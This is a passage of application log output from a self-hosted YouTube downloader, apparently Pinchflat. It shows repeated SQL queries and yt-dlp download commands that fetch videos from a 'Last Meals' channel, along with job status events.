m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:55:06.342 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:06.342 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:06.342 [debug] Running yt-dlp command for action: get_downloadable_status 20:55:06.342 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:06.343 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:06.343 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:06.343 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/90/01909895fcc3d2edd076c4da16d1a28be022bea42e30b9e6ac11617fc56c2305.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:55:08.489 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/90/01909895fcc3d2edd076c4da16d1a28be022bea42e30b9e6ac11617fc56c2305.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:55:08.489 [debug] Running yt-dlp command for action: download 20:55:08.489 [debug] QUERY OK source="settings" db=0.0ms idle=685.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:08.489 [debug] QUERY OK source="settings" db=0.0ms idle=431.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:08.489 [debug] QUERY OK source="settings" db=0.1ms idle=431.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:08.489 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/19/2f1959222d384437ebed3958e462f96fef22d12aeba9c42e58e2653510280145.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:55:28.593 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:56.281 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/20/21/2021e9f6de769bf92c6f9e07ae78eec6cafa79a92f938e75b1d30864dee68957.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:55:56.292 [debug] Running yt-dlp command for action: download_thumbnail 20:55:56.292 [debug] QUERY OK source="settings" db=0.0ms idle=413.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:56.292 [debug] QUERY OK source="settings" db=0.0ms idle=235.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:56.292 [debug] QUERY OK source="settings" db=0.0ms idle=235.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:56.293 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/6/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1b/a9/1ba9cdbbe4d2bb69d292c6ba860d17229d2b98093b2a3c74f91abb5b80c4ae23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:55:58.594 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:59.068 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/6/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1b/a9/1ba9cdbbe4d2bb69d292c6ba860d17229d2b98093b2a3c74f91abb5b80c4ae23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:55:59.068 [debug] QUERY OK db=0.0ms idle=1011.2ms begin [] 20:55:59.069 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:55:56Z], "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", ~U[2026-03-28 00:55:59Z], 6] 20:55:59.070 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/6/metadata.json.gz", "/config/metadata/media_items/6/thumbnail.jpg", 6, ~U[2026-03-28 00:55:59Z], ~U[2026-03-28 00:55:59Z]] 20:55:59.070 [debug] QUERY OK db=0.1ms commit [] 20:55:59.071 [debug] QUERY OK source="media_items" db=0.7ms idle=1013.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [501059468, ~U[2026-03-28 00:55:59Z], 6] 20:55:59.071 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:55:59.071 [info] {"args":{"id":6},"id":9,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":169814878,"event":"job:stop","queue_time":372256398,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:55:59.077 [info] {"args":{"id":8},"id":11,"meta":{},"system_time":1774659359077897423,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:55:59.078 [debug] QUERY OK source="media_items" db=0.1ms idle=194.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 20:55:59.078 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:55:59.078 [debug] QUERY OK source="sources" db=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:55:59.078 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:55:59.079 [debug] QUERY OK source="media_items" db=0.1ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 20:55:59.079 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [8] 20:55:59.079 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:55:59.079 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:59.079 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:59.080 [debug] Running yt-dlp command for action: get_downloadable_status 20:55:59.080 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:59.080 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:59.080 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:59.080 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/a0/01a0dc331ecef9fadac073bada1e869eed7c7f2e4662fc9f9a32e2e9505b8e18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:56:00.567 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:01.302 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/a0/01a0dc331ecef9fadac073bada1e869eed7c7f2e4662fc9f9a32e2e9505b8e18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:56:01.302 [debug] Running yt-dlp command for action: download 20:56:01.303 [debug] QUERY OK source="settings" db=0.0ms idle=735.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:01.303 [debug] QUERY OK source="settings" db=0.0ms idle=417.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:01.303 [debug] QUERY OK source="settings" db=0.0ms idle=245.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:01.303 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c0/9e/c09ea8d88b37990212b7d8f5b058e0dba58699c256e374514470068279adad5c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:56:28.596 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:43.270 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/19/2f1959222d384437ebed3958e462f96fef22d12aeba9c42e58e2653510280145.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:56:43.279 [debug] Running yt-dlp command for action: download_thumbnail 20:56:43.279 [debug] QUERY OK source="settings" db=0.0ms idle=1221.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:43.279 [debug] QUERY OK source="settings" db=0.0ms idle=314.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:43.279 [debug] QUERY OK source="settings" db=0.0ms idle=222.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:43.279 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/7/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/54/cb/54cb275a0ed02f35ffe4384581a7c0d6c8b2337a0a593fb3653b7313b80cbdd1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:56:45.881 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ztSj01t05ZE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/7/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/54/cb/54cb275a0ed02f35ffe4384581a7c0d6c8b2337a0a593fb3653b7313b80cbdd1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:56:45.881 [debug] QUERY OK db=0.0ms idle=913.6ms begin [] 20:56:45.882 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:56:43Z], "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", ~U[2026-03-28 00:56:45Z], 7] 20:56:45.890 [debug] QUERY OK source="media_metadata" db=8.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/7/metadata.json.gz", "/config/metadata/media_items/7/thumbnail.jpg", 7, ~U[2026-03-28 00:56:45Z], ~U[2026-03-28 00:56:45Z]] 20:56:45.891 [debug] QUERY OK db=0.5ms commit [] 20:56:45.892 [debug] QUERY OK source="media_items" db=0.6ms idle=834.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [274799965, ~U[2026-03-28 00:56:45Z], 7] 20:56:45.892 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:56:45.892 [info] {"args":{"id":7},"id":10,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":99551593,"event":"job:stop","queue_time":487340430,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:56:45.898 [info] {"args":{"id":9},"id":12,"meta":{},"system_time":1774659405898669228,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:56:45.898 [debug] QUERY OK source="media_items" db=0.0ms idle=841.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 20:56:45.898 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:56:45.899 [debug] QUERY OK source="sources" db=0.1ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:56:45.899 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:56:45.899 [debug] QUERY OK source="media_items" db=0.0ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 20:56:45.899 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [9] 20:56:45.899 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:56:45.899 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:45.899 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:45.899 [debug] Running yt-dlp command for action: get_downloadable_status 20:56:45.900 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:45.900 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 